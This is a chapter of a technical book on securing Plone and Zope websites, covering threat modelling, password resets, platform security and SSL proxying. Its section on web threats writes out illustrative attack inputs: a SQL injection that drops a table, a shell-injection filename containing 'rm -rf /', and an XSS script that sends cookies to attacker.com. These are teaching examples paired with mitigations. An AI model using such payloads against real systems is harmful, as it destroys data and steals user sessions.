

14

Securing Plone

One of the most difficult and important aspects of running a website is making sure that it is only used in the intended manner. Generally, this task is known as security and spans many tasks—preventing unknown outsiders from gaining control of, or shutting down, the site, securing data, controlling the information that members can access or change, keeping bad data (whether malicious or accidental) out of the system, and even ensuring that the site's administrators are behaving themselves.

For security, as with any complex problem, there is no magic bullet. Security, as the experts say, is a process. Security is not ensured by any specific technology or product, nor is security a thing that can be installed once and ignored. Good security is crafted—not just in computers but in any arena—by an ongoing evaluation of the threats and implementation of countermeasures.

Security is also about managing risk: it can never be eliminated. The risk of compromise of a system must be weighed against the consequences, the resources available, and the function of the system. When an appropriate balance is achieved, security is good enough. It will never be perfect.

The security process must be approached with specific goals in mind otherwise the problem is far too broad to contend with. Almost all website owners, for instance, wish to have strict control over the ability to shut off the site and to control the look and behavior of the site. Some want to control all the content, some want to restrict content creation to members, and some want to allow content creation by anyone. Many will want to restrict access to content based on identity. The goals of a site and tolerance for failures will guide the approach to security.

Security of web-based applications is a broad topic within a very broad topic. In this chapter we will explore those aspects of the topic most commonly encountered in Plone sites. For a more complete understanding of any aspect of security, outside reading is recommended.

Ensuring Security

There is, naturally, no silver bullet in approaching security, but the closest thing to it is a systematic approach. One such system is to consider security in layers, and the properties of each layer: what attacks are likely, what attacks it is vulnerable to, what would a successful attack mean for this layer and other layers, and what would those consequences mean in relation to our goals? Each layer should be secured in relation to its importance and vulnerability, and the effort required to reduce vulnerability must be weighed in deciding what to do. And since layers are often composed of smaller layers, deciding what to do comes down to evaluating more and more specific layers until the necessary degree of security is achieved.

Say, for instance, we want to make sure that only the person who created a member account can use it. This is the goal of the site, and a nearly universal one (some sites may not care about this goal though; perhaps they don't have members or the powers of their members are not of enough importance to bother keeping accounts secure). We also want a feature where a member can reset a forgotten password to a new password. This is one of the layers of security of the site, and vital to our goal.

What are the possible attacks? This facility must be available to anonymous users and we don't want anonymous users to reset someone else's password to a random value, to set someone else's password to a specific value, to intercept the new password, or to read the password off the system.

What is the probability of such attacks? Low, unless we store very important information, but although some of these attacks are trivial, we'd rather not take any chances.

The current Plone system will mail a forgotten password to the e-mail address on file for a member whose ID is entered in a certain form. How secure is this against the stated attacks? Resets cannot happen, nor can malicious sets happen without a valid password. E-mail is sent in the clear, and so is vulnerable to snooping, but is for most purposes secure enough. But passwords must be stored in the clear to be able to be sent to members, and a compromise of security elsewhere in the system (most commonly a snooping administrator) would compromise the security of all our passwords.

So how's the security of that system? For most applications, it's good enough. It protects against the most common abuses, though a determined attacker in the right place might be able to sniff passwords, and the system is vulnerable to a small class of other exploits.

But if our requirements are stiffer, we can improve the security of this layer. So what are the weak links? One is sending a password in the clear by e-mail; the other is storing the password in the clear. We may also be sending the password in the clear during login. The solution to password storage is easy enough—User Folders generally support **one-way hashing** of passwords, which makes the ability to view passwords worthless. We can turn this on, making this layer less dependent on others. We won't be able to send the passwords by mail (since no one can now read the original form) but that's OK, since

this was a problem anyway. Running authentication through SSL will keep password transmission out of the clear.

One-way hashing means that a password is run through a procedure that transforms it into a sequence of characters that cannot, in a reasonable amount of time, be processed back into the original password. When a password is set, it is hashed and the resulting hash sequence is stored. No one, not even the system itself, can then read the original password. But the system can check a potential match by hashing the incoming password and comparing the resultant hash with the stored hash.

The only way to be sure that we can contact the right person about a password reset request is still e-mail (unless we also require some other contact information and verify it), and we can be pretty secure in transactions with our website (especially if using SSL to encrypt then). If we mail a long unguessable number to the member said to have forgotten the password, and allow anyone possessing that number to change that member's password at our website so long the visitor knows the ID of the resetting user, we are well guarded against all our identified threats. Resets are difficult and require e-mail snooping and specific knowledge (the user's ID), no one can ever see a password in the clear, and password setting by an attacker is statistically extremely unlikely. (E-mail snooping is still possible, and can result in the attacker setting a password, but the member should notice what is happening now and be able to contact the site administrators for human intervention.)

This procedure for increasing security in password setting is implemented as the `PasswordResetTool`, available in the Collective (<http://sourceforge.net/projects/collective>), a cooperative space for development of CMF and Plone products. It trades off user convenience for greater security. Other possible solutions, like instructing the person receiving the e-mail to call a phone number, are possible as well, but users like all-electronic methods.

Similar procedures can be used to evaluate and improve security for an installation.

One important thing to remember about security is that relying on secret methods is not conducive to good security. The enemy should be assumed to know how everything is done, since many security breaches are inside jobs. Only the keys or passwords need be secret; everything else can usually be made publicly available without any problem. Consider a regular house lock; everyone knows how a lock works and can see it on the door, but nobody can open it without the key. If entry into a house is gained with a hidden button, anyone who knows about the button can get in.

The concept that "the enemy knows the system" is widely known as **Shannon's maxim**, formulated by Claude Shannon (the Father of Information Theory) during his work on cryptography and security during WWII. It is related to **Kerckhoffs' law** (http://en.wikipedia.org/wiki/Kerckhoffs%27_principle), which states that a cryptographic system should still be secure if everything about it except for the key is known.

Platform Security

Computer security must be approached from a broad point of view, simply because of the number of components and layers involved. The security of a Plone site or any software application is only as good as the platform upon which it runs, and this includes the hardware, the operating system, programming languages, toolkits, software libraries, external services, and more. An attacker able to gain control of any of these underlying layers can generally gain control of anything running above.

This aspect of computer security means that attacks against lower layers tend to be more common, as they have a wider reach, so platform security is vital to securing a Plone site.

Other programs running on the same machine can also affect platform security so far as they might create a conduit to one of the layers mentioned previously.

Hardware

The physical security of the actual computers running a Plone site is very important. There are many options open to an attacker who can sit down in front of, open, or steal hardware. The easiest way to prevent this is to secure the physical location itself, with as many layers as is called for by the possibility of attack and tolerance for failure. Some of the possible layers are:

- A lock on the case
- A keyboard lock
- A login prompt and/or secured screen saver
- A boot-up and/or BIOS password
- A lock on the server rack
- A locked cage around several racks
- A lock on the server room
- Secured access to the office, floor, or building
- A fence around the building

- Security personnel at any or all of the above points
- Location in an underground bunker

Each of these needs to be evaluated on the basis of threat potential, effectiveness, and cost, in terms of money, time, and convenience of authorized users. Other strategies for physical security can be employed, though few websites need to rival missile silos in security measures.

There is also a very common threat open to attackers with access to the physical site—power outage. Power loss can occur for many reasons, deliberate or accidental, far away or nearby. One solution is to get an uninterruptible power supply, or even a generator, but unless there are people available to fix things, a prolonged power outage can take down any independent source. Also consider the places where power interruptions can happen: a UPS is no good if someone pulls the power cord to a machine by stepping on it.

There are also mitigation strategies to limit damage due to theft or loss. Most important and common are good regular backups, some of which should be kept off-site and possibly even further away to guard against major disasters; hot spares or replicas in other locations are also good. If the information in the machine is very valuable, there are solutions for encryption of file systems. Doing this would render the content of a stolen hard drive useless, unless an attacker knows the key.

Compromised or otherwise evil hardware is also possible, though practically unknown. The few cases are famous, such as the Intel Pentium 'f00f bug'. To be safe, pay attention to security alerts from the vendors of a machine's hardware.

Operating System

Operating systems are vulnerable to a variety of attacks that can crash the OS, allow user or root privileges without authentication, run arbitrary code, and more. Viruses, worms, and Trojan horses can get control of a computer and do any of the above, as can humans working over the network or on the machine (which is significantly easier).

Many people will say that a certain OS is more secure than another, but this book will not attempt any such claims. However, it is certain that any OS can be much more secure in the hands of a good administrator. One of the most important jobs is staying on top of security advisories, new versions, and patches, but an administrator should make sure that no extraneous programs are running and that the appropriate file permissions are set. Administrators should keep an eye on machines for signs of aberrant behavior on a regular basis, so that action can be taken if a machine is compromised.

Securing the operating system is as important as securing the physical machine—there is little good in securing an application (like Plone) if it's running on a non-secure platform. Guides for securing and running popular operating systems are widely available.

System Software

Software like libraries and programming languages can also provide routes to compromise applications built on top of them. It is important to keep abreast of security updates and to be aware of the limitations and possible problems with any such software.

Human Factors

The most important factor in security is the people using it.

There are always some people who must have extensive access to a system, and these people are therefore enabled to break or abuse it. A great many security problems are the work of current or former employees. There are several ways to mitigate this risk. The most obvious is to have good and trustworthy people in charge of the site. Evaluating trustworthiness and maintaining it are tough problems, without easy technological solutions. Perhaps the most useful technique is to make sure that people have a stake in the continued good operation of a site. Constant review of code and action, both from peers and those above, can keep problems at bay and expose them when they happen.

The next most important technique is to create security procedures that do not rely on big complex secrets. If only knowledge of a system is required to break it, then people with experience can break it at will, no matter what their status is. Many companies have found former employees to be very dangerous to such systems. But a system that relies only on the secrecy of small and easily changed keys and passwords can quickly be changed so that even the creators of the system can do nothing to exploit it.

Another common failure in security is to have too much of it. Often even people with good intentions create security procedures that users find obstructive, annoying, forgettable, or just plain hard. The result, naturally, is that these procedures are ignored or circumvented, often leading to less security than otherwise. Take, for example, a password policy that requires 9 or more digits, including numbers, funny characters, letters in both cases, and no real words. This creates very strong passwords, which will never be guessed by a random attacker. But people will write down their passwords on notes attached to their monitors.

Then there is **social engineering**, a somewhat misleading term given to an attack that circumvents any system's security restrictions by using people with high-level access. The attacker relies on helpful and trusting people to get to some sort of unauthorized goal. These schemes can be very simple; the attacker might call a customer service line and pretend to be someone else in order to get the password for that account. Even the best computer security system cannot defend against such attacks; the human part of the system must have protection similar to the computer.

Zope- and Plone-Specific Security

There are a few issues unique to Zope and Plone to keep in mind when working with security.

Acquisition is an unusual feature of Zope, and while often used to great advantage, it can create some unexpected problems for people not used to thinking about it. It is possible, for instance, to create very strange but valid paths. Consider the following structure:

```
/
-foo
-bar
--baz
---bat
```

This can support a URL like `http://localhost/bar/baz/bat/foo/`. The `foo` object's permissions will be calculated by acquisition from `bar`, `baz`, and `bat`, perhaps leading to unexpected results.

Another side effect is that multiple Plone sites in a virtual hosting setup on the same server are not entirely isolated. For instance, consider the following structure:

```
/
-wonderland
-test
```

Here both are Plone sites mapped to their own domain; it is possible to see the `test` site at `http://wonderland.tld/test/`. There are ways to prevent this (like putting a script that does nothing named `test` in `wonderland`) but generally if this is unacceptable, then it is best to go with separate Zope instances.

One should also keep in mind that the Plone workflow tool manages the security settings of content participating in workflow. Any custom settings on an individual content object are subject to replacement upon any workflow state change. Also, any changes to the workflow state security settings made on the workflow tool through code or in the ZMI will not take place unless the security update button is pressed (or the corresponding method executed).

Also, remember that skins templates are available globally. Do not count on them only being applied as envisioned—they can be called on any object in the site. Templates and skins should behave reasonably when used in an unusual manner, and this means making as few assumptions as possible: if a script that changes a title is only meant for use on files, be sure it checks that it is changing a `File`.

Specific Threats to Web Applications

Web and Internet-based applications are subject to many attacks. They tend to fall into several common categories.

Bad Input

The use of unusual input is a common problem. Obviously this leads to a pool of bad data, but it can have more sinister uses. Consider a z SQL Method that gets a row from a database based on an input parameter:

```
select * from users where id="<dtml-var id>"
```

Suppose, instead of an ID, an attacker entered the following:

```
somestring"; drop table users; "
```

Our query would become the disastrous:

```
select * from users where id=""; drop table users; ""
```

Happily DTML provides a special `dtml-sqlvar` tag as described in Chapter 11 that keeps such things from happening. In fact, the use of `dtml-sqlvar` in SQL statements that collect input from the user should be considered mandatory—we never want to directly execute code provided by a non-trusted user.

The same policy applies to Python code as well, though we almost never execute Python code based on user input. One case to watch out for is when making system calls. We should not be surprised to encounter trouble if we take user input `filename` and say in an External Method:

```
os.system("customprogram %s" % filename)
```

Though we meant to run a custom external program with a certain file name (or some other parameter) we could very well find a user who provides the string `blah; rm -rf /`:

```
customprogram blah; rm -rf /
```

This will lead to the terribly destructive command that would promptly delete everything on a Unix-like system. And just for good measure: *DO NOT run that command*. It will delete everything, and in short order. Simply reading it is dangerous.

To guard ourselves against this, we would want to verify that the input is a file using Python's `os` module or otherwise make sure it is a safe and valid input. It would be better, of course, not to do such a thing at all.

Unexpected data can be used for other nefarious purposes as well. One familiar example is inserting very long strings into comments on websites, which will often break the layout of the page by making it very wide. Even simple mistakes (giving a string to a script expecting an integer, for example) can lead to unintentional side effects or break form-processing scripts, making for a poor user experience.

Using validation scripts with FormController-based forms and using validators in Archetypes can help prevent such attacks and also cut down on bogus data.

Cross-Site Scripting

A special form of malicious input is known as **cross-site scripting (XSS)**. It happens when a website collects data from a user that is written such that, when displayed, it fools or hijacks the browsers of other users. Often the XSS attack will create a situation where the user appears to be sending data to the original site, but is instead sending data to the attacker's site. Such attacks can also steal cookies, which can hold authentication information.

XSS attacks are formulated as HTML links, JavaScript, VBScript, ActiveX, or Flash, and almost always require a website to display HTML provided by untrusted users. If we collected data from the user and displayed it directly, as this code does:

```
<p tal:content="structure request/comment">Comment here</p>
```

users could then provide HTML in the comment parameter like:

```
<b>I'm doing a cross-site scripting attack!</b>
```

This would show the sentence in bold inside the paragraph because the user is able to insert site structure. A malicious user could take advantage of this to steal other users' cookies when they view the page by sending input like:

```
<script>document.location='http://attacker.com/cgi-bin/cookie.cgi?%20+document.cookie</script>
```

This would redirect to a page on the attacker's server that probably looks just like our site, but which allows the attacker to read our users' cookies (through the query constructed by the malicious JavaScript) or to otherwise fool them into providing sensitive data.

We can easily trigger the attack above by constructing a URL with comment as a request parameter, something like:

```
http://localhost/xssdemo?comment=[INPUT HERE]
```

Of course, this example will only show attackers their own malicious input, but if we used persistent data instead of data from the request, as we might on a message board or some other similar functionality, then the attack could be made on other users.

The easiest way to prevent this is not to accept HTML content from mistrusted users. Filters that escape characters like <, >, &, #, (, and) to their HTML entity codes or that restrict HTML to certain valid tags can also work.

To make XSS errors more difficult, TAL automatically escapes HTML control characters when inserting data, though for some statements the `structure` keyword can override this. We had to do this above to demonstrate an XSS attack. This feature makes inserting bad content into links impossible (since attribute content is always escaped) and makes inserting bad content into the body possible only with a conscious choice on the part of the developer. Read more about XSS at:

- <http://www.cgisecurity.com/articles/xss-faq.shtml>
- http://www.cert.org/tech_tips/malicious_code_mitigation.html

Passwords in the Clear

Sending passwords in clear text—that is, not encrypted—is dangerous because all clear transmissions can theoretically be snooped by any party in the line of transmission. Storing passwords in the clear (or with reversible encryption) can also be dangerous; there are numerous ways of getting read access to databases and files, and the payoff is very large, since a successful attacker can get every password in the system at once. If password security is important, passwords should be stored as a one-way hash and never set or sent except over an SSL connection.

Denial of Service Attacks

There is also a class of attacks known as **denial of service**, or **DoS** attacks. In this situation, remote computers are somehow used by the attacker to flood a server with requests or packets. A variant of the technique known as **distributed denial of service (DDoS)** uses many computers to effect a DoS, with each machine often playing a smaller and less detectable part. Usually the attacking computers have been infected by a worm or virus; this is most common for machines running Windows. A good proxy setup can make DoS harder, and a configurable gateway server can be used to reject packets from known attackers, but under a full DoS attack, the only real recourse is to get the ISP to stop packets at the network level (they may have noticed already, since ISPs keep track of radical changes in network traffic).

There are also non-malicious denial of service events. Enormous amounts of traffic can be created at an unsuspecting web server on being linked to by a popular site. Only proxies and additional hardware can keep a site up during such an event.

Difficult or Impossible Tasks

Some security tasks are difficult to accomplish due to system design. Others are probably (some even provably) impossible.

One common difficult task is to make Python code uncopyable. Presumably some sort of encryption could be applied to Python bytecode, but since this is an uncommon task, such a feature is not supported. It is possible, but would require a lot of work. Such code can however be made unreadable much like regular compiled code. Python creates compiled files with a `.pyc` extension, which are practically unreadable but just as usable by the interpreter as regular Python source. Ship only these and the code will be as secure as compiled C or Java.

Often people want to make content uncopyable or unprintable. Most computer scientists believe that this is impossible. Some techniques that come close can be used, but most of these have a limited shelf life as people learn how to break them or work around them.

SSL

SSL, the **Secure Socket Layer**, is a technology that encrypts communication between a browser and a web server. This makes snooping of transactions next to impossible. SSL, however, is computationally more expensive than regular communication.

A proxy Apache server is probably the best for using SSL, though other web servers support SSL. Configuring Apache for SSL, along with the necessary keys, is explained at <http://raibledesigns.com/wiki/wiki.jsp?page=ApacheSSL>.

Once SSL is set up, it is only necessary to proxy it to the Plone server through the **VHM** described in Chapter 12. This can be done by modifying the Apache configuration file to change the rewrite rule to take SSL into consideration. The original `VirtualHost` directive should be changed to work only for port 80, and we add a directive for the secure HTTP port of 443:

```
<VirtualHost _default_:80>
  SSLDisable
  RewriteEngine On
  RewriteRule ^/(.*) \
  http://127.0.0.1:8080/VirtualHostBase/http/{HTTP_HOST}:80/$1 [L,P]
</VirtualHost>

<VirtualHost _default_:443>
  SSLEnable
  #... other SSL configuration options
  RewriteEngine On
  RewriteRule ^/(.*) \
  http://127.0.0.1:8080/VirtualHostBase/https/{HTTP_HOST}:443/$1 [L,P]
</VirtualHost>
```

Now any requests for HTTPS content will be securely served, and requests under the regular protocol will work as normal.

For more advanced configurations, like using SSL and regular communication together, more rewrite rules can be added:

```
<VirtualHost _default_:80>
  SSLDisable
  RewriteEngine On
  RewriteRule /(.*).login_form(.*) \
  https://{HTTP_HOST}/$1login_form$2 [NE,L]
  RewriteRule /(.*).password_form(.*) \
  https://{HTTP_HOST}/$1password_form$2 [L]
  RewriteRule ^/(.*) \
  http://127.0.0.1:8080/VirtualHostBase/http/{HTTP_HOST}:80/$1 [L,P]
</VirtualHost>
#...
```

This will redirect any accesses to login forms to the HTTPS protocol. The login portlet should be removed to make sure that no passwords are submitted in the clear.

Summary

In this chapter we discussed some techniques to secure a Plone site. Security is much too broad a term to be used without a specific goal in mind. We saw how to approach security to accomplish specific goals, and went through the process that created `PasswordResetTool`. We explored the importance of platform security, and saw specific security problems and solutions for hardware, OS, and software.

We also explored the human side of the security equation, including abuse by insiders, the danger of excessive security, and social engineering. We also identified specific behaviors to watch out for with Zope and Plone, and explored some of the more common problems with web applications in general—bad input, cross-site scripting, and denial of service attacks. We also looked at a few things that can be difficult or impossible, such as trying to treat data as hard property. We then went through the setup of SSL on an Apache proxy in front of Plone.